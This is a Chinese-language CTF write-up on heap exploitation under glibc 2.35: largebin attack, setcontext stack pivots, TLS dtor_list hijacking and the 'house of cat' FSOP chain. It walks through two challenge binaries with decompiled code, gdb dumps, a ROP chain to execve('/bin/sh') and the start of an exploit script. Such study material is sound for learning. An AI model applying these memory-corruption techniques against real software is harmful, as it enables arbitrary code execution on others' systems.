# glibc 2.35 ubuntu3 下的利用手法。

原本我们以为 2.35 的时代不会来的这么快,但是最近 DS360ctf,以及强网杯几道题目的出现让 glibc 的 pwn 生存条件急剧下降。

首先我们谈谈为什么很多师傅都人为 2.35 的堆 pwn 是一个寒冬:

# 现状:

之所以这样讲,一部分原因在于由于高版本的 glibc 的安全特性,封锁掉了很多的后门,特别是几个重要的 hook 不再是我们可以利用的了。但是这并不是让题目更难,觉得反而是解题出现严重的两级分化,一部分师傅研究过几个手法,几乎就可以做到一口气解决,因为利用的手法比较单一,就那么几种,即便是先提出的手法,其实原理也是大同小异。而对于不了解的师傅,就会陷入深渊,没有后门,或者自己习惯的后门都被堵上了,怎么走。

我们发现,其实大部分的情况都都是因为 hook 被禁止。而最近出现的手法,就要求我们要继续挖掘 io 的利用链。

所以这次我就要花费一些时间整理一部分。主要还是基于目前出现的一些题目的复现。

** 在 35 时代,我们必须学会 largebinattack

目前计划着是有

  • house of apple 1
  • house of apple 2
  • house of apple 3
  • house of cat
  • house of emma
  • house of banana
  • tls 劫持

# 一些小总结:

目前遇到的 2.35 的题目都是基于同一个版本

dreamcat@dreamcat-virtual-machine:~/Desktop/360dsctf/eznote$ strings libc.so.6 |grep ubuntu
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

# largebinattack

关键代码

else
            {
              victim_index = largebin_index (size);                               //largebins
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
		      < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
			  assert (chunk_main_arena (fwd));
                        }
                      if ((unsigned long) size
			  == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))                        // 相比于 2.29 新增加的判断
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)                               //// 相比于 2.29 新增加的判断
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

相比于 2.29,新增加了两个检查。因为这些检查的原因,我们只有插入小 size 额可以实现 attack,

# 要求

  1. 对应的 bin 中只有一个 free_chunk,(此时 fd_nextsize,bk_nextsize 都指向自己)
  2. 修改 free_chunk 的 bk_nextsize 为目标地址减去 0x20.

# setcontext

在新的版本中,setcontext 不再是直接使用 rdi,而是使用 rdx 进行参数的一些设置。所以需要一些手段在 setcontext 之前,能够设置 rdx 为可控制的堆空间。

   0x7f2c07abea6d <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]
 ► 0x7f2c07abea74 <setcontext+68>     mov    rbx, qword ptr [rdx + 0x80]
   0x7f2c07abea7b <setcontext+75>     mov    rbp, qword ptr [rdx + 0x78]
   0x7f2c07abea7f <setcontext+79>     mov    r12, qword ptr [rdx + 0x48]
   0x7f2c07abea83 <setcontext+83>     mov    r13, qword ptr [rdx + 0x50]
   0x7f2c07abea87 <setcontext+87>     mov    r14, qword ptr [rdx + 0x58]
   0x7f2c07abea8b <setcontext+91>     mov    r15, qword ptr [rdx + 0x60]
   0x7f2c07abea8f <setcontext+95>     test   dword ptr fs:[0x48], 2
   0x7f2c07abea9b <setcontext+107>    je     setcontext+294                <setcontext+294>
    ↓
   0x7f2c07abeb56 <setcontext+294>    mov    rcx, qword ptr [rdx + 0xa8]
   0x7f2c07abeb5d <setcontext+301>    push   rcx
   0x7f2c07abeb5e <setcontext+302>	mov    rsi,QWORD PTR [rdx+0x70]
   0x7f2c07abeb62 <setcontext+306>:	mov    rdi,QWORD PTR [rdx+0x68]
   0x7f2c07abeb66 <setcontext+310>:	mov    rcx,QWORD PTR [rdx+0x98]
   0x7f2c07abeb6d <setcontext+317>:	mov    r8,QWORD PTR [rdx+0x28]
   0x7f2c07abeb71 <setcontext+321>:	mov    r9,QWORD PTR [rdx+0x30]
   0x7f2c07abeb75 <setcontext+325>:	mov    rdx,QWORD PTR [rdx+0x88]
   0x7f2c07abeb7c <setcontext+332>:	xor    eax,eax
   0x7f2c07abeb7e <setcontext+334>:	ret 

rdx 我们提前布置为我们可以控制的堆上,保证 rbp 大于、等于 rsp。除了 rcx,其他寄存器直接设置为 0,这里单独提出来 rcx,是因为 setcontext 最后 ret 的时候相当于,mov rip,[rsp]。加一个 ret 后,就可以劫持程序栈 rip.

RBP  0x563dfde0ada0 —▸ 0x7f3391d8b3e5 (iconv+197) ◂— pop    rdi
 RSP  0x563dfde0ad98 —▸ 0x7f3391db4b52 (setcontext+290) ◂— ret    
*RIP  0x7f3391db4b7e (setcontext+334) ◂— ret    
───────────────────────────────────[ DISASM ]───────────────────────────────────
   0x7f3391db4b66 <setcontext+310>    mov    rcx, qword ptr [rdx + 0x98]
   0x7f3391db4b6d <setcontext+317>    mov    r8, qword ptr [rdx + 0x28]
   0x7f3391db4b71 <setcontext+321>    mov    r9, qword ptr [rdx + 0x30]
   0x7f3391db4b75 <setcontext+325>    mov    rdx, qword ptr [rdx + 0x88]
   0x7f3391db4b7c <setcontext+332>    xor    eax, eax
0x7f3391db4b7e <setcontext+334>    ret

我们的 rbp 设置为 rop 的开始而不是在下一条。但是我还没有搞清楚是否可以用 leave;ret; 浅尝了一下,不可以

# tls 劫持 exit 执行流

# 前提条件

  • 任意地址写一个堆地址,
  • 泄露出 heap 地址,libc 地址
  • 我们可以改写一个 chunk 的头部信息,prev_size,size。
  • 程序可以执行 exit(这里我们仅仅测试了 main 函数直接 retutrn, 显式调用 exit 应该也可以,或者报错)

# 这里我们以 360dsctf 的 eznote 为例题,

程序实现了基本的增删改查,程序初始化的时候,申请了一个 chunk 用作一个指针数组,用于储存我们申请的 note.

unsigned __int64 init_0()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-10h]
  v1 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  alarm(0x78u);
  gp = (global_list *)calloc(7uLL, 0x18uLL);
  return __readfsqword(0x28u) ^ v1;
}

这里储存的结构体的大小为 0x18 字节,gp 一共申请了 7 个。

00000000 note            struc ; (sizeof=0x18, mappedto_15)
00000000                                         ; XREF: global_list/r
00000000 size            dq ?                    ; XREF: add+28/r
00000008 ptr             dq ?                    ; offset
00000010 real_size       dq ?
00000018 note            ends
00000018

size 是我们在申请 chunk 的时候提供的,real_size 是我们输入的数据的长度。

问题出在 add 的时候,同时存在的 note 的数量判断。这里值判断是否大于 7,所以我们申请第 8 个的时候,可以通过检查,那么就造成了数组的御姐,数组储存在 chunk 中,势必会影响下一个 chunk 的头部数据。

int add()
{
  __int64 count; // rbp
  __int64 v1; // rbx
  __int64 size; // rax
  __int64 v3; // r12
  char *ptr; // r13
  char *real_size; // rax
  note *v6; // rbx
  if ( (unsigned __int64)nums > 7 )
    return puts("Too many notes.");
  count = 0LL;
  v1 = 1LL;
  if ( gp->list[0].ptr )
  {
    while ( 1 )
    {
      ++count;
      if ( !gp->list[v1].ptr || count == 7 )
        break;
      ++v1;
    }
  }
  else
  {
    v1 = 0LL;
  }
  __printf_chk(1LL, "Size: ");
  size = getnum();
  v3 = size;
  if ( size <= 0x3FF )
    return puts("Invalid size.");
  ptr = (char *)calloc(size, 1uLL);
  __printf_chk(1LL, "Content: ");
  real_size = read_n(0, ptr, v3);
  v6 = &gp->list[v1];
  v6->size = v3;
  ++nums;
  v6->ptr = ptr;
  v6->real_size = (__int64)real_size;
  return __printf_chk(1LL, "Note%lu saved.\n", count);
}

数组最小限制为 0x400, 没有上限,所以我们可以尽情的构造较大的 chunk。

观察到,数组溢出时候的情况。因为我们申请 gp 数组的堆块大小只有 0xb0, 实际使用空间只有 0xa8, 那么,我们申请的 7 个结构体恰好可以沾满,那么第 8 个结构体的 size 就会占据下一个 chunk 的头部,修改 chunk_size。如果我们前面的 chunk 申请的比较小,第八个申请的很大,就会导致第一个 chunk 的 size 被更改,实现 overlap。

主义的时,一旦 8 号 chunk 申请处理啊,就无法 free。

泄露地址。

在向 note 中读入数据的时候,会自动补全空字符。输出使用格式化字符串,只是 add 时使用了 calloc,初始化 chunk。

char *__fastcall read_n(int fd, char *ptr, __int64 size)
{
  char *v3; // r14
  char *pos; // r15
  __int64 v5; // rbx
  char *end; // r13
  __int64 v7; // rsi
  char buf; // [rsp+17h] [rbp-41h] BYREF
  unsigned __int64 v11; // [rsp+18h] [rbp-40h]
  v3 = ptr;
  v11 = __readfsqword(0x28u);
  buf = 0;
  if ( size )
  {
    pos = ptr;
    v5 = 1LL - (_QWORD)ptr;
    end = &ptr[size];
    while ( 1 )
    {
      v7 = (__int64)&pos[v5];
      if ( read(fd, &buf, 1uLL) <= 0 || buf == 10 )
        break;
      *pos++ = buf;
      if ( pos == end )
        goto LABEL_8;
    }
    *pos = 0;
  }
  else
  {
LABEL_8:
    v3[size - 1] = 0;
    v7 = size;
  }
  return (char *)v7;
}

修改掉第一个 notechunk 的 size 后,直接将其 free,就会将第二个覆盖到

pwndbg> x/28gx 0x5572d1a52290
0x5572d1a52290:	0x0000000000000000	0x00000000000000b1
0x5572d1a522a0:	0x0000000000000000	0x0000000000000000
0x5572d1a522b0:	0x0000000000000000	0x0000000000000418
0x5572d1a522c0:	0x00005572d1a52770	0x0000000000000418
0x5572d1a522d0:	0x0000000000000418	0x00005572d1a52b90
0x5572d1a522e0:	0x0000000000000418	0x0000000000000418
0x5572d1a522f0:	0x00005572d1a52fb0	0x0000000000000418
0x5572d1a52300:	0x0000000000000418	0x00005572d1a533d0
0x5572d1a52310:	0x0000000000000418	0x0000000000000418
0x5572d1a52320:	0x00005572d1a537f0	0x0000000000000418
0x5572d1a52330:	0x0000000000000418	0x00005572d1a53c10
0x5572d1a52340:	0x0000000000000418	0x0000000000000841				// 原本为 0x421
0x5572d1a52350:	0x00007fa2a9bbace0	0x00007fa2a9bbace0
0x5572d1a52360:	0x0000000000000000	0x0000000000000000

重新申请第一个 chunk 区域,第二个 chunk 的数据就会被更改了。

我们就完成了 libc 的泄露,下面就是堆 heap 地址的泄露,只要有了 overlap 我们就完成了两地址的泄露 ,这里不在细说。

接下来就是利用 largebinattack 攻击,首先修改 tls_dtor_list 的值为一个我们可控制的 chunk 地址。然后修改 secret 为已知可控地址。secret 是 tcache,fastbin 加密 key。

tls_dtor_list 结构体的为

*(struct dtor_list *) 0x563bed37d920
$8 = {
  func = 0x525a0543f9580000,
  obj = 0x7f16ef9363e5 <iconv+197>,
  map = 0x7f16efae4698,
  next = 0x7f16ef937e51 <__gconv_close_transform+225>
}
+++++++++++++++++++++++
pwndbg> tel 0x563bed37d920 10
00:00000x563bed37d920 ◂— 0x525a0543f9580000
01:00080x563bed37d928 —▸ 0x7f16ef9363e5 (iconv+197) ◂— pop    rdi
02:00100x563bed37d930 —▸ 0x7f16efae4698 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:00180x563bed37d938 —▸ 0x7f16ef937e51 (__gconv_close_transform+225) ◂— pop    rsi
04:00200x563bed37d940 ◂— 0x0
05:00280x563bed37d948 —▸ 0x7f16efa2b497 (qecvt+39) ◂— pop    rdx
06:00300x563bed37d950 ◂— 0x0
07:00380x563bed37d958 ◂— 0x0
08:00400x563bed37d960 —▸ 0x7f16ef9f70f0 (execve) ◂— endbr64

总结下,这里。00 的位置,其实是任意代码执行的,除了可以写 leave,但是貌似这里的写法已经很直接,所以我们无需再更改,如有需要可以写为 orw.secret 其实是否需要改写,是根据是否可以泄露出 secret 而定,如果可以,就不需要改写,一些攻击即可。

我们修改 tls_dtor_list 为一个堆头地址,我们还要将这个头部改写,因为任意代码执行就是这个直接地址开始的。

关于 largebinattack,如果 bin 只有一个 free_chunk,我们攻击的话,只需要修改其 bk_nextsize。

同时,我们也可以进行多次攻击,只要是 size 比第一个小,就会进行前插,但是这次不是修改第一个头的 bk_next, 而是第一次那个。就是说在同一个位置修改,其他尽量保持不变。

关键就在与修改 tls_dtor_list,开始这里是空的,将其指向一个 chunk, 并且完全控制这里,在这里构造一个 leave ret 加上 rop,注意的是 leaveret 的地址要进行加密。

# house of cat

这是一个比较新的路径,是 catF1y 师傅挖出来的一条链子,并且在强网杯初赛部署了同名题目。但是,就在比赛前夕,以为师傅连更两条博客,house of apple2 以及 house of apple3,导致了题目被非预期。同时,我们也尝试了使用 house of emma,成功非预期。这里就先开始预期解的 house of cat 的学习记录。

高版本的 glibc 就是对 io 的疯狂脑洞输出。house of cat 也是一个有关 io 的利用路径。

# 利用条件

  • 1. 能够任意地址写一个可控堆地址。
  • 2. 能够泄露堆地址和 libc 基址。
  • 3. 能够触发 IO 流(FSOP 或触发__malloc_assert),执行 IO 相关函数。

其实从这里我们看出,这里的利用条件与其他的一些手法极为相似,基本就是利用 exit () 函数退出的一些操作。随着版本的迭代,glibc 对于虚表的保护也是不断的更新,首先就是对于 io_file_jump 的检查,包括但不限于禁止直接修改虚表内容、检查虚表地址是否合法(在规定的虚表地址范围内)。其实之前我们讲过利用 io_str_jump 的虚表绕过检查,但是当时的方法的弊端就是两个函数_IO_str_overflow 以及_IO_str_finish 的相关漏洞被封死。

这里作者利用了一个新的 io 虚表结构体_IO_wfile_jumps,然后下面的操作与_IO_str_jumps 非常相似,甚至函数名字都很相似

这里我先介绍下目标函数是如何实现然亦函数调用的,

结构体

const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
  JUMP_INIT(xsputn, _IO_wfile_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_wfile_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
  JUMP_INIT(doallocate, _IO_wfile_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

原理,利用程序报错__malloc_asset 报错调用 xsputn, 替换该虚表函数为 _IO_wfile_seekfoff

FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

其中的函数(_IO_wfile_seekoff)的内部结构为

off64_t _IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;
 
  if (mode == 0)
    return do_ftell_wide (fp);
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));
 
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}

如果 mode!=0 且 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 会调用_IO_switch_to_wget_mode 这个函数,继续跟进代码。虽然说这里要求的是 mode 值不为零,但是在最开始伪造的时候,mode 设置却还是 0,不过调试的时候,发现这里可能会发生变化,从我们传入的 0 变为了 - 1。经过测试,最开始也可以将 mode 设置为 1 ,后面触发__malloc_assert,mode 不会被更改。(这条仅在 house of cat 同名题目测试)。

int _IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}

而_IO_WOVERFLOW 是 glibc 里定义的一个宏调用函数

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

可以看到对_IO_WOVERFLOW 没有进行任何检测,为了便于理解,我们再来看看汇编代码

 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx
  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi
  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]
  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]
  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>
 
  0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]
  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff
  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]

在造成任意地址写一个堆地址的基础上,这里的寄存器 rdi(fake_IO 的地址)、rax 和 rdx 都是我们可以控制的,

rdi 是我们伪造的 io_file 的地址,我们将 rax 控制为堆上的一个地址,就可以实现任意函数的调用。

这里还要补习一下 setcontext 的知识

在开启沙箱的情况下,假如把最后调用的 [rax + 0x18] 设置为 setcontext,把 rdx 设置为可控的堆地址,就能执行 srop 来读取 flag;如果未开启沙箱,则只需把最后调用的 [rax + 0x18] 设置为 system 函数,把 fake_IO 的头部写入 /bin/sh 字符串,就可执行 system ("/bin/sh")

fake_IO 结构体需要绕过的检测

_wide_data->_IO_read_ptr !=_wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp``-``>_lock是一个可写地址
fp``-``>_mode ``=` `0

大致的攻击流程

  1. 修改_IO_list_all 为可控地址(FSOP)或修改 stderr 为可控地址 (__malloc_assert)。
  2. 在上一步的可控地址中伪造 fake_IO 结构体。
  3. 通过 FSOP 或 malloc 触发攻击。

但是当我进行到这里的时候,我发现不能独立正常的复现,因为作者的文章并没有给出这条完整利用链。

# 问题

  • 完整的利用链是从哪里触发, 完整的函数调用链是怎么样的?
  • 作者提出了两个不同的流程,一个是进行 FSOP,利用的是_IO_flush_all_lockp 函数来刷新所有的 IO 流。也就是说最后是进入 flush 函数,进行一系列的调用,对应的就是虚表中的_IO_overflow. 但是_IO_flush_all_lockp 触发的前提应该是能执行 exit (显式调用、libc 调用 abort、以及 main 函数正常退出)
  • 另外一个思路是利用利用__malloc_assert 触发的报错。会使用 stderr 进行一个报错输出

以上,house of cat 的关键点是 JUMP_INIT (seekoff, _IO_wfile_seekoff), 顺利的进入后又会执行 _IO_switch_to_wget_mode (fp),最大的问题就是如何进入这里 _IO_wfile_seekoff?

以下为个人的分析过程

我们要知道这里代替了谁。函数的入口在于 IO 函数初始化后调用谁的问题,因为我们是对 vtable 进行了偏移替换,所以我们将二者进行一个对比。

修改前的 IO_list_all 的对应

pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7f56882ae680 <_IO_list_all>
pwndbg> p *(struct _IO_FILE_plus **) 0x7f56882ae680 
$2 = (struct _IO_FILE_plus *) 0x7f56882ae6a0 <_IO_2_1_stderr_>
pwndbg> p *(struct _IO_FILE_plus *) 0x7f56882ae6a0 
$3 = {
  file = {
    _flags = -72540025,
    _IO_read_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7f56882ae723 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7f56882ae724 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7f56882ae780 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7f56882afa60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7f56882ad8a0 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f56882aa600 <_IO_file_jumps>
}
pwndbg> p _IO_file_jumps
$4 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7f5688120070 <_IO_new_file_finish>,
  __overflow = 0x7f5688120e40 <_IO_new_file_overflow>,
  __underflow = 0x7f5688120b30 <_IO_new_file_underflow>,
  __uflow = 0x7f5688121de0 <__GI__IO_default_uflow>,
  __pbackfail = 0x7f5688123300 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7f568811f680 <_IO_new_file_xsputn>,
  __xsgetn = 0x7f568811f330 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7f568811e960 <_IO_new_file_seekoff>,
  __seekpos = 0x7f5688122530 <_IO_default_seekpos>,
  __setbuf = 0x7f568811e620 <_IO_new_file_setbuf>,
  __sync = 0x7f568811e4b0 <_IO_new_file_sync>,
  __doallocate = 0x7f5688112b90 <__GI__IO_file_doallocate>,
  __read = 0x7f568811f9b0 <__GI__IO_file_read>,
  __write = 0x7f568811ef40 <_IO_new_file_write>,
  __seek = 0x7f568811e6f0 <__GI__IO_file_seek>,
  __close = 0x7f568811e610 <__GI__IO_file_close>,
  __stat = 0x7f568811ef30 <__GI__IO_file_stat>,
  __showmanyc = 0x7f56881234a0 <_IO_default_showmanyc>,
  __imbue = 0x7f56881234b0 <_IO_default_imbue>
}

修改后 (地址不一样,看偏移)

pwndbg> p *(struct _IO_FILE_plus *) 0x562fcda56370
$7 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x451 <error: Cannot access memory at address 0x451>,
    _IO_read_end = 0x7f2b2d5cc0e0 <main_arena+1120> " t\245\315/V",
    _IO_read_base = 0x562fcda55290 "",
    _IO_write_base = 0x562fcda55290 "",
    _IO_write_ptr = 0x7f2b2d5cc840 <_IO_2_1_stdout_+192> "",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x1 <error: Cannot access memory at address 0x1>,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x562fcda57cd0 "",
    _IO_save_end = 0x7f2b2d405a6d <setcontext+61> "H\213\242\240",
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0,
    _flags2 = 0,
    _old_offset = 0,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x562fcda56000,
    _offset = 0,
    _codecvt = 0x0,
    _wide_data = 0x562fcda563a0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7f2b2d5c80d0 <_IO_wfile_jumps+16>
}
pwndbg> p _IO_file_jumps
$8 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x7f2b2d43e070 <_IO_new_file_finish>,
  __overflow = 0x7f2b2d43ee40 <_IO_new_file_overflow>,
  __underflow = 0x7f2b2d43eb30 <_IO_new_file_underflow>,
  __uflow = 0x7f2b2d43fde0 <__GI__IO_default_uflow>,
  __pbackfail = 0x7f2b2d441300 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7f2b2d43d680 <_IO_new_file_xsputn>,
  __xsgetn = 0x7f2b2d43d330 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7f2b2d43c960 <_IO_new_file_seekoff>,
  __seekpos = 0x7f2b2d440530 <_IO_default_seekpos>,
  __setbuf = 0x7f2b2d43c620 <_IO_new_file_setbuf>,
  __sync = 0x7f2b2d43c4b0 <_IO_new_file_sync>,
  __doallocate = 0x7f2b2d430b90 <__GI__IO_file_doallocate>,
  __read = 0x7f2b2d43d9b0 <__GI__IO_file_read>,
  __write = 0x7f2b2d43cf40 <_IO_new_file_write>,
  __seek = 0x7f2b2d43c6f0 <__GI__IO_file_seek>,
  __close = 0x7f2b2d43c610 <__GI__IO_file_close>,
  __stat = 0x7f2b2d43cf30 <__GI__IO_file_stat>,
  __showmanyc = 0x7f2b2d4414a0 <_IO_default_showmanyc>,
  __imbue = 0x7f2b2d4414b0 <_IO_default_imbue>
}

我们看到这里对应的入口点就是 xsputn。当__malloc_assert 进行 __fxprintf 调用的时候,进行错误输出的时候,



__fxprintf  ————》》

locked_vfxprintf  ————》》
__vfprintf_internal 	————》》		//0x7f6fb038d15d <__vfprintf_internal+173>    call   *ABS*+0xab090@plt 
__strchrnul_avx2;ret
__libc_cleanup_push_defer;ret
0x7f6fb038d1c8 <__vfprintf_internal+280>    call   qword ptr [r12 + 0x38]	//调用目标函数<__GI__IO_wfile_seekoff>

# 下面我们直接来看题目。

开始的逆向过程就不再赘述。

程序确实实现了增删改查的功能,但是对于改的次数做出了严格的限制,只允许进行两次更改,而且程序没有结束功能,也就是说,我们如果想利用 io 必须触发报错__malloc_assert。由于我们只有两次修改的机会,那么其实我们已经想好了怎么做,一次用来出发报错,一次用来伪造 io 结构。

我们来看程序的实现,

# add

在创建的 chunk 的时候,最多允许我们创建 16 个 cat,并且对 size 的大小进行了限制

size <= 0x417 || size > 0x46F

只允许的 largebin 范围的堆块的创建

void add()
{
  unsigned __int64 idx; // [rsp+0h] [rbp-10h]
  size_t size; // [rsp+8h] [rbp-8h]
  writen("plz input your cat idx:\n");
  idx = getint();
  if ( idx > 0xF || list[idx] )
  {
    writen("invalid!\n");
  }
  else
  {
    writen("plz input your cat size:\n");
    size = getint();
    if ( size <= 0x417 || size > 0x46F )
    {
      writen("invalid size!\n");
    }
    else
    {
      list[idx] = calloc(1uLL, size);
      if ( list[idx] )
      {
        size_list[idx] = size;
        writen("plz input your content:\n");
        read(0, list[idx], size_list[idx]);
      }
      else
      {
        writen("error!\n");
      }
    }
  }
}

同时,因为使用 了 calloc 函数,会对我们申请出来的 chunk 进行一个初始化。read 允许我们输入空字符。

接下来我们看看删除

# delete

void del()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]
  writen("plz input your cat idx:\n");
  v0 = getint();
  if ( v0 <= 0xF && list[v0] )
    free(list[v0]);
  else
    writen("invalid!\n");
}

明显的一个 uaf,可以用来泄露数据。

所以我们在看下 show

# show

void show()
{
  unsigned __int64 v0; // [rsp+8h] [rbp-8h]
  writen("plz input your cat idx:\n");
  v0 = getint();
  if ( v0 <= 0xF && list[v0] )
  {
    writen("Context:\n");
    write(1, list[v0], 0x30uLL);
  }
  else
  {
    writen("invalid!\n");
  }
}

使用 write,允许输出空字符,最多输出 0x30 字节,这已经够了,我们只要释放两个不相连的 chunk 就可以实现两地址的泄露,但是,这里要注意到,这个 uaf 的负面影响就是,我们不可以再向对应的 idx 申请 chunk,所以我们要控制数量。

# 攻击

简单的布局下 chunk,泄露出两个地址, 然后准备进行 largebinattack

add(0,0x450,b'a'*8)     #0
add(1,0x418,b'a'*8)     #1
add(2,0x430,b'a'*8)     #2
add(3,0x418,b'a'*8)     #3
add(4,0x440,b'a'*8)     #4
add(5,0x418,b'\x00'*8)  #5
free(0)
free(4)
add(6,0x460,b'\x00'*8)  #6
show(0)

chunk 的情况

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5609eb575000
Size: 0x291
Free chunk (largebins) | PREV_INUSE
Addr: 0x5609eb575290
Size: 0x451
fd: 0x7f2adf8f70e0
bk: 0x5609eb575b00
fd_nextsize: 0x5609eb575b00
bk_nextsize: 0x5609eb575b00
Allocated chunk
Addr: 0x5609eb5756e0
Size: 0x420
Free chunk (largebins) | PREV_INUSE
Addr: 0x5609eb575b00
Size: 0x461
fd: 0x5609eb575290
bk: 0x7f2adf8f70e0
fd_nextsize: 0x5609eb575290
bk_nextsize: 0x5609eb575290
Allocated chunk
